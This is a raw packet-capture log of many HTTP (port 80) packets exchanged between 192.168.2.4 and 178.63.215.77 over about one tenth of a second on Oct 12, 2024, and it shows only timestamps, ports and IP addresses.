Oct 12, 2024 14:17:09.785631895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785641909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785662889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785676003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785696030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785706997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785737991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785747051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785778046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785789967 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785830021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785832882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785878897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785887957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785912037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785927057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785943031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.785955906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785990000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.785990000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786021948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786043882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786055088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786062956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786087036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786107063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786118031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786133051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786150932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786175013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786183119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786191940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786214113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786233902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786246061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786252975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786278963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786290884 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786314011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786322117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786345005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786360025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786377907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786384106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786408901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786422014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786441088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786453009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786472082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786484957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786504984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786514044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786535978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786560059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786567926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786576033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786598921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786624908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786633015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786648989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786664963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786673069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786698103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786721945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786729097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786742926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786761045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786775112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786792040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786803007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786824942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786835909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786858082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786868095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786890030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786916971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786923885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786936045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786957026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786971092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.786988020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.786997080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787020922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787034988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787051916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787064075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787085056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787094116 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787116051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787131071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787147999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787154913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787178993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787190914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787211895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787221909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787241936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787257910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787275076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787282944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787306070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787328959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787338018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787348032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787372112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787388086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787416935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787432909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787465096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787475109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787497997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787519932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787529945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787539005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787563086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787586927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787595034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787606001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787626982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787635088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787658930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787674904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787691116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787698984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787722111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787744045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787755013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.787763119 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.787798882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.872787952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.872833014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.872889996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.872941971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.872963905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.872965097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.872965097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.872973919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873008013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873039961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873054981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873054981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873055935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873073101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873081923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873122931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873126984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873157978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873188972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873220921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873254061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873255014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873255014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873271942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873281002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873303890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873327971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873351097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873352051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873389006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873398066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873421907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873445988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873471022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873476028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873502016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873528004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873536110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873558998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873568058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873583078 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873616934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873619080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873651028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873672009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873682022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873703957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873713017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873734951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873753071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873760939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873791933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873815060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873841047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873841047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873872995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873888016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873903990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.873918056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873951912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.873954058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874005079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874036074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874038935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874061108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874070883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874079943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874110937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874114990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874141932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874156952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874174118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874186039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874214888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874222994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874277115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874309063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874339104 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874339104 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874356031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874360085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874388933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874413013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874428988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874435902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874468088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874490023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874497890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874509096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874530077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874556065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874561071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874582052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874593019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874604940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874624014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874639034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874669075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874675989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874722958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874725103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874777079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874778986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874805927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874818087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874820948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874834061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874841928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874855042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874855995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874870062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874871969 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874883890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874890089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874897003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874905109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874912024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874924898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874927998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874939919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874946117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874954939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874974012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.874977112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874989986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.874994040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875005960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875010014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875019073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875022888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875034094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875040054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875049114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875055075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875072956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875073910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875087976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875092030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875102043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875107050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875116110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875119925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875130892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875134945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875144958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875152111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875159979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875164986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875174046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875180960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875189066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875200033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875202894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875210047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875216961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875224113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875230074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875241041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875252962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875253916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875269890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875273943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875286102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875288963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875299931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875303030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875317097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875319958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875330925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875338078 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875345945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875350952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875360012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875364065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875376940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875381947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875397921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875406981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875411034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875425100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875441074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875448942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875462055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875463963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875478029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875483990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875493050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875495911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875507116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875510931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875520945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875534058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875535011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875541925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875550985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875556946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875566006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875570059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875581980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875586987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875597000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875601053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.875612020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.875617027 CEST	49730	80	192.168.2.4	178.63.215.77
